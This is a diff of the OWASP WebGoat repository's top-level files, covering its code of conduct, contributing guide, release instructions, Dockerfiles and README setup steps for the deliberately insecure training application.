# Contributor Covenant Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
|
||||
|
||||
## Our Standards
|
||||
|
||||
Examples of behavior that contributes to creating a positive environment include:
|
||||
|
||||
- Using welcoming and inclusive language
|
||||
- Being respectful of differing viewpoints and experiences
|
||||
- Gracefully accepting constructive criticism
|
||||
- Focusing on what is best for the community
|
||||
- Showing empathy towards other community members
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
- The use of sexualized language or imagery and unwelcome sexual attention or advances
|
||||
- Trolling, insulting/derogatory comments, and personal or political attacks
|
||||
- Public or private harassment
|
||||
- Publishing others' private information, such as a physical or electronic address, without explicit permission
|
||||
- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
|
||||
- Other conduct which could reasonably be considered inappropriate in a professional setting
|
||||
|
||||
## Our Responsibilities
|
||||
|
||||
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The WebGoat project and its materials are conceived for educational and research purposes only.
|
||||
|
||||
Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
|
||||
|
||||
The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
|
||||
|
||||
Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
|
||||
|
||||
The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
|
||||
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
|
||||
|
||||
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
|
||||
|
||||
For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)
|
119
CONTRIBUTING.md
119
CONTRIBUTING.md
@ -1,119 +0,0 @@
|
||||
# Contributing
|
||||
|
||||
[](https://github.com/WebGoat/WebGoat/graphs/contributors)
|
||||

|
||||

|
||||
[](https://conventionalcommits.org)
|
||||
|
||||
This document describes how you can contribute to WebGoat. Please read it carefully.
|
||||
|
||||
**Table of Contents**
|
||||
|
||||
* [How to Contribute to the Project](#how-to-contribute-to-the-project)
|
||||
* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
|
||||
* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
|
||||
|
||||
## How to Contribute to the project
|
||||
|
||||
There are a couple of ways on how you can contribute to the project:
|
||||
|
||||
* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
|
||||
* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
|
||||
* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
|
||||
|
||||
## How to get your PR accepted
|
||||
|
||||
Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
|
||||
The minimum requirements for code contributions are:
|
||||
|
||||
1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
|
||||
2. All new and changed code _should_ have a corresponding unit and/or integration test.
|
||||
3. New and changed lessons _must_ have a corresponding integration test.
|
||||
4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
|
||||
|
||||
Additionally, the following guidelines can help:
|
||||
|
||||
### Keep your pull requests limited to a single issue
|
||||
|
||||
Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
|
||||
|
||||
* If you are making spelling corrections in the docs, don't modify other files.
|
||||
* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
|
||||
|
||||
### Write a good commit message
|
||||
|
||||
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
|
||||
|
||||
- fix:
|
||||
- feat:
|
||||
- build:
|
||||
- chore:
|
||||
- ci:
|
||||
- docs:
|
||||
- refactor:
|
||||
- test:
|
||||
|
||||
Using this style of commits makes it possible to create our release notes automatically.
|
||||
|
||||
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
|
||||
|
||||
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
|
||||
|
||||
For example: `Fix #545` or `Closes #10`
|
||||
|
||||
## How to set up your Contributor Environment
|
||||
|
||||
1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
|
||||
2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
|
||||
3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
|
||||
4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
|
||||
|
||||
```bash
|
||||
$ git remote -v
|
||||
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
|
||||
origin git@github.com:<your Github handle>/WebGoat.git (push)
|
||||
|
||||
$ git remote add upstream git@github.com:WebGoat/WebGoat.git
|
||||
|
||||
$ git remote -v
|
||||
origin git@github.com:<your Github handle>/WebGoat.git (fetch)
|
||||
origin git@github.com:<your Github handle>/WebGoat.git (push)
|
||||
upstream git@github.com:OWASP/WebGoat.git (fetch)
|
||||
upstream git@github.com:OWASP/WebGoat.git (push)
|
||||
```
|
||||
|
||||
See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
|
||||
|
||||
5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
|
||||
|
||||
6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
|
||||
|
||||
7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
|
||||
|
||||
8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
|
||||
|
||||
9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
|
||||
|
||||
10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
|
||||
|
||||
11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
|
||||
|
||||
```bash
|
||||
$ git fetch upstream
|
||||
$ git merge upstream/main
|
||||
```
|
||||
|
||||
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
||||
|
||||
If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
|
||||
|
||||
> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
|
||||
|
||||
## What not to do
|
||||
|
||||
Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
|
||||
|
||||
* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
|
||||
* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
|
||||
|
||||
Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.
|
@ -1,9 +1,6 @@
|
||||
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
|
||||
SPDX-License-Identifier: GPL-2.0-or-later
|
||||
|
||||
Copyright (c) 2002 - 2016 Bruce Mayhew
|
||||
Copyright (c) 2014 - $today.year Nanne Baars
|
||||
Copyright (c) 2002 - $today.year Bruce Mayhew
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
@ -19,4 +16,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
|
||||
|
||||
Getting Source ==============
|
||||
|
||||
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
35
CREATE_RELEASE.MD
Normal file
35
CREATE_RELEASE.MD
Normal file
@ -0,0 +1,35 @@
|
||||
## Release WebGoat
|
||||
|
||||
|
||||
### Version numbers
|
||||
|
||||
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
|
||||
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
|
||||
`v8.0.0` in the `pom.xml`
|
||||
|
||||
### Release notes:
|
||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
|
||||
committers.
|
||||
|
||||
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
|
||||
|
||||
```
|
||||
git checkout develop
|
||||
git flow release start <version>
|
||||
mvn versions:set <<version>
|
||||
git commit -am "New release, updating pom.xml"
|
||||
git flow release publish
|
||||
|
||||
<<Make changes if necessary>>
|
||||
|
||||
git flow release finish <version>
|
||||
git push origin develop
|
||||
git push origin master
|
||||
git push --tags
|
||||
```
|
||||
|
||||
Now Travis takes over and will create the release in Github and on Docker Hub.
|
||||
|
||||
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
|
||||
|
||||
|
@ -1,26 +0,0 @@
|
||||
## Release WebGoat
|
||||
|
||||
### Version numbers
|
||||
|
||||
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
|
||||
and 2023.01 in the `pom.xml`.
|
||||
|
||||
### Release notes:
|
||||
|
||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
|
||||
committers. In order to fetch the list of issues included use:
|
||||
`git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
|
||||
|
||||
```
|
||||
mvn versions:set
|
||||
<< update release notes >>
|
||||
mvn verify
|
||||
git commit ....
|
||||
git tag v2023.01
|
||||
git push --tags
|
||||
git push
|
||||
```
|
||||
|
||||
After the release has been tagged and the build process is done. The release notes should be updated in the GitHub
|
||||
release page.
|
||||
|
40
Dockerfile
40
Dockerfile
@ -1,40 +0,0 @@
|
||||
# We need JDK as some of the lessons needs to be able to compile Java code
|
||||
FROM docker.io/eclipse-temurin:23-jdk-noble
|
||||
|
||||
LABEL name="WebGoat: A deliberately insecure Web Application"
|
||||
LABEL maintainer="WebGoat team"
|
||||
|
||||
RUN \
|
||||
useradd -ms /bin/bash webgoat && \
|
||||
chgrp -R 0 /home/webgoat && \
|
||||
chmod -R g=u /home/webgoat
|
||||
|
||||
USER webgoat
|
||||
|
||||
COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
|
||||
|
||||
EXPOSE 8080
|
||||
EXPOSE 9090
|
||||
|
||||
ENV TZ=Europe/Amsterdam
|
||||
|
||||
WORKDIR /home/webgoat
|
||||
ENTRYPOINT [ "java", \
|
||||
"-Duser.home=/home/webgoat", \
|
||||
"-Dfile.encoding=UTF-8", \
|
||||
"--add-opens", "java.base/java.lang=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
|
||||
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
|
||||
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
|
||||
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
|
||||
"-Drunning.in.docker=true", \
|
||||
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
|
||||
|
||||
HEALTHCHECK --interval=5s --timeout=3s \
|
||||
CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1
|
@ -1,47 +0,0 @@
|
||||
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
|
||||
LABEL name="WebGoat: A deliberately insecure Web Application"
|
||||
LABEL maintainer="WebGoat team"
|
||||
|
||||
WORKDIR /config
|
||||
|
||||
COPY target/webgoat-*.jar /config/webgoat.jar
|
||||
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
|
||||
COPY config/desktop/start_zap.sh /config/start_zap.sh
|
||||
COPY config/desktop/WebGoat.txt /config/Desktop/
|
||||
|
||||
RUN \
|
||||
apt-get update && \
|
||||
apt-get --yes install vim nano gzip
|
||||
|
||||
RUN \
|
||||
case $(uname -m) in \
|
||||
x86_64) ARCH=x64;; \
|
||||
aarch64) ARCH=aarch64;; \
|
||||
*) ARCH=unknown;; \
|
||||
esac && \
|
||||
echo ${ARCH}
|
||||
|
||||
RUN \
|
||||
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
|
||||
tar zfxv ZAP_2.15.0_Linux.tar.gz && \
|
||||
rm -rf ZAP_2.15.0_Linux.tar.gz
|
||||
|
||||
RUN \
|
||||
case $(uname -m) in \
|
||||
x86_64) ARCH=x64;; \
|
||||
aarch64) ARCH=aarch64;; \
|
||||
*) ARCH=unknown;; \
|
||||
esac && \
|
||||
echo "oeps == ${ARCH}==" && \
|
||||
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
|
||||
tar zfxv java.tar.gz && \
|
||||
rm -rf java.tar.gz && \
|
||||
chmod +x /config/start_webgoat.sh && \
|
||||
chmod +x /config/start_zap.sh && \
|
||||
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
|
||||
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
|
||||
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
|
||||
|
||||
ENV JAVA_HOME=/config/java-jdk
|
||||
|
||||
WORKDIR /config/Desktop
|
7
FAQ.md
7
FAQ.md
@ -1,7 +0,0 @@
|
||||
# FAQ for development
|
||||
|
||||
## Introduction
|
||||
|
||||
### Integration tests fail
|
||||
|
||||
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
|
@ -1,9 +1,6 @@
|
||||
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
|
||||
SPDX-License-Identifier: GPL-2.0-or-later
|
||||
|
||||
Copyright (c) 2002 - $today.year Bruce Mayhew
|
||||
Copyright (c) 2014 - $today.year Nanne Baars
|
||||
Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
@ -19,4 +16,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
|
||||
|
||||
Getting Source ==============
|
||||
|
||||
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
@ -1 +0,0 @@
|
||||
Thank you for submitting a pull request to the WebGoat!
|
146
README.MD
Normal file
146
README.MD
Normal file
@ -0,0 +1,146 @@
|
||||
# WebGoat 8: A deliberately insecure Web Application
|
||||
|
||||
[](https://travis-ci.org/WebGoat/WebGoat)
|
||||
[](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
|
||||
[](https://www.codacy.com/app/dm/WebGoat)
|
||||
[](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
|
||||
[](https://github.com/WebGoat/WebGoat/releases/latest)
|
||||
[](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
|
||||
|
||||
# Introduction
|
||||
|
||||
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
|
||||
application security lessons.
|
||||
|
||||
This program is a demonstration of common server-side application flaws. The
|
||||
exercises are intended to be used by people to learn about application security and
|
||||
penetration testing techniques.
|
||||
|
||||
**WARNING 1:** *While running this program your machine will be extremely
|
||||
vulnerable to attack. You should disconnect from the Internet while using
|
||||
this program.* WebGoat's default configuration binds to localhost to minimize
|
||||
the exposure.
|
||||
|
||||
**WARNING 2:** *This program is for educational purposes only. If you attempt
|
||||
these techniques without authorization, you are very likely to get caught. If
|
||||
you are caught engaging in unauthorized hacking, most companies will fire you.
|
||||
Claiming that you were doing security research will not work as that is the
|
||||
first thing that all hackers claim.*
|
||||
|
||||
# Installation Instructions:
|
||||
|
||||
## 1. Run using Docker
|
||||
|
||||
Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)).
|
||||
|
||||
### Using docker run
|
||||
|
||||
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
|
||||
|
||||
```shell
|
||||
docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf
|
||||
```
|
||||
|
||||
WebGoat will be located at: http://127.0.0.1:8080/WebGoat
|
||||
WebWolf will be located at: http://127.0.0.1:9090/WebWolf
|
||||
|
||||
**Important**: Choose the correct timezone, so that the docker container and your host are in the same timezone. As it important for the validity of JWT tokens used in certain exercises.
|
||||
|
||||
### Using docker stack deploy
|
||||
|
||||
Another way to deply WebGoat and WebWolf in a more advanced way is to use a compose-file in a docker stack deploy.
|
||||
You can define which containers should run in which combinations and define all of this in a yaml file.
|
||||
An example of such a file is: [goat-with-reverseproxy.yaml](goat-with-reverseproxy.yaml)
|
||||
|
||||
This sets up an nginx webserver as reverse proxy to WebGoat and WebWolf. You can change the timezone by adjusting the value in the yaml file.
|
||||
|
||||
```shell
|
||||
docker stack init
|
||||
docker stack deploy --compose-file goat-with-reverseproxy.yaml webgoatdemo
|
||||
```
|
||||
|
||||
Add the following entries in your local hosts file:
|
||||
|
||||
```shell
|
||||
127.0.0.1 www.webgoat.local www.webwolf.localhost
|
||||
```
|
||||
|
||||
You can use the overall start page: http://www.webgoat.local or:
|
||||
|
||||
WebGoat will be located at: http://www.webgoat.local/WebGoat
|
||||
|
||||
WebWolf will be located at: http://www.webwolf.local/WebWolf
|
||||
|
||||
**Important**: the current directory on your host will be mapped into the container for keeping state.
|
||||
|
||||
## 2. Standalone
|
||||
|
||||
Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||
|
||||
```Shell
|
||||
java -jar webgoat-server-8.1.0.jar [--server.port=8080] [--server.address=localhost]
|
||||
java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]
|
||||
```
|
||||
|
||||
The latest version of WebGoat needs Java 11 or above. By default WebGoat and WebWolf start on port 8080,9000 and 9090 with the environment variable WEBGOAT_PORT, WEBWOLF_PORT and WEBGOAT_HSQLPORT you can set different values.
|
||||
```Shell
|
||||
export WEBGOAT_PORT=18080
|
||||
export WEBGOAT_HSQLPORT=19001
|
||||
export WEBWOLF_PORT=19090
|
||||
java -jar webgoat-server-8.1.0.jar
|
||||
java -jar webwolf-8.1.0.jar
|
||||
```
|
||||
Use set in stead of export on Windows cmd.
|
||||
|
||||
|
||||
## 3. Run from the sources
|
||||
|
||||
### Prerequisites:
|
||||
|
||||
* Java 11
|
||||
* Maven > 3.2.1
|
||||
* Your favorite IDE
|
||||
* Git, or Git support in your IDE
|
||||
|
||||
Open a command shell/window:
|
||||
|
||||
```Shell
|
||||
git clone git@github.com:WebGoat/WebGoat.git
|
||||
```
|
||||
|
||||
Now let's start by compiling the project.
|
||||
|
||||
```Shell
|
||||
cd WebGoat
|
||||
git checkout <<branch_name>>
|
||||
mvn clean install
|
||||
```
|
||||
|
||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
||||
|
||||
```Shell
|
||||
mvn -pl webgoat-server spring-boot:run
|
||||
```
|
||||
... you should be running webgoat on localhost:8080/WebGoat momentarily
|
||||
|
||||
|
||||
To change IP address add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
|
||||
|
||||
```
|
||||
server.address=x.x.x.x
|
||||
```
|
||||
|
||||
## 4. Run with custom menu
|
||||
|
||||
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting environment variables.
|
||||
|
||||
For instance running as a jar on a Linux/MacOS it will look like:
|
||||
```Shell
|
||||
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
|
||||
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
|
||||
java -jar webgoat-server/target/webgoat-server-v8.2.0-SNAPSHOT.jar
|
||||
```
|
||||
Or in a docker run it would (once this version is pushed into docker hub) look like:
|
||||
```Shell
|
||||
docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
|
||||
```
|
165
README.md
165
README.md
@ -1,165 +0,0 @@
|
||||
# WebGoat: A deliberately insecure Web Application
|
||||
|
||||
[](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
|
||||
[](https://jdk.java.net/)
|
||||
[](https://owasp.org/projects/)
|
||||
[](https://github.com/WebGoat/WebGoat/releases/latest)
|
||||
[](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
|
||||
[](https://github.com/WebGoat/WebGoat/discussions)
|
||||
[](https://conventionalcommits.org)
|
||||
|
||||
# Introduction
|
||||
|
||||
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
|
||||
application security lessons.
|
||||
|
||||
This program is a demonstration of common server-side application flaws. The
|
||||
exercises are intended to be used by people to learn about application security and
|
||||
penetration testing techniques.
|
||||
|
||||
**WARNING 1:** *While running this program your machine will be extremely
|
||||
vulnerable to attack. You should disconnect from the Internet while using
|
||||
this program.* WebGoat's default configuration binds to localhost to minimize
|
||||
the exposure.
|
||||
|
||||
**WARNING 2:** *This program is for educational purposes only. If you attempt
|
||||
these techniques without authorization, you are very likely to get caught. If
|
||||
you are caught engaging in unauthorized hacking, most companies will fire you.
|
||||
Claiming that you were doing security research will not work as that is the
|
||||
first thing that all hackers claim.*
|
||||
|
||||

|
||||
|
||||
# Installation instructions:
|
||||
|
||||
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
||||
|
||||
## 1. Run using Docker
|
||||
|
||||
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
|
||||
|
||||
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
||||
|
||||
```shell
|
||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||
```
|
||||
|
||||
For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
|
||||
E.g.
|
||||
|
||||
```shell
|
||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
|
||||
```
|
||||
|
||||
If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
|
||||
you can use custom host entries. For example:
|
||||
|
||||
```shell
|
||||
127.0.0.1 www.webgoat.local www.webwolf.local
|
||||
```
|
||||
|
||||
Then you can run the container with:
|
||||
|
||||
```shell
|
||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
|
||||
```
|
||||
|
||||
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
|
||||
|
||||
## 2. Run using Docker with complete Linux Desktop
|
||||
|
||||
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
|
||||
|
||||
```shell
|
||||
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
|
||||
```
|
||||
|
||||
## 3. Standalone
|
||||
|
||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||
|
||||
```shell
|
||||
export TZ=Europe/Amsterdam # or your timezone
|
||||
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
|
||||
```
|
||||
|
||||
Click the link in the log to start WebGoat.
|
||||
|
||||
### 3.1 Running on a different port
|
||||
|
||||
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
|
||||
|
||||
```shell
|
||||
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
|
||||
```
|
||||
|
||||
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
|
||||
|
||||
## 4. Run from the sources
|
||||
|
||||
### Prerequisites:
|
||||
|
||||
* Java 23
|
||||
* Your favorite IDE
|
||||
* Git, or Git support in your IDE
|
||||
|
||||
Open a command shell/window:
|
||||
|
||||
```Shell
|
||||
git clone git@github.com:WebGoat/WebGoat.git
|
||||
```
|
||||
|
||||
Now let's start by compiling the project.
|
||||
|
||||
```Shell
|
||||
cd WebGoat
|
||||
git checkout <<branch_name>>
|
||||
# On Linux/Mac:
|
||||
./mvnw clean install
|
||||
|
||||
# On Windows:
|
||||
./mvnw.cmd clean install
|
||||
|
||||
# Using docker or podman, you can than build the container locally
|
||||
docker build -f Dockerfile . -t webgoat/webgoat
|
||||
```
|
||||
|
||||
Now we are ready to run the project. WebGoat is using Spring Boot.
|
||||
|
||||
```Shell
|
||||
# On Linux/Mac:
|
||||
./mvnw spring-boot:run
|
||||
# On Windows:
|
||||
./mvnw.cmd spring-boot:run
|
||||
|
||||
```
|
||||
|
||||
... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
|
||||
|
||||
Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
|
||||
|
||||
To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
|
||||
|
||||
```
|
||||
server.address=x.x.x.x
|
||||
```
|
||||
|
||||
## 4. Run with custom menu
|
||||
|
||||
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
|
||||
|
||||
For instance running as a jar on a Linux/macOS it will look like this:
|
||||
|
||||
```Shell
|
||||
export TZ=Europe/Amsterdam # or your timezone
|
||||
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
|
||||
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
|
||||
java -jar target/webgoat-2023.8-SNAPSHOT.jar
|
||||
```
|
||||
|
||||
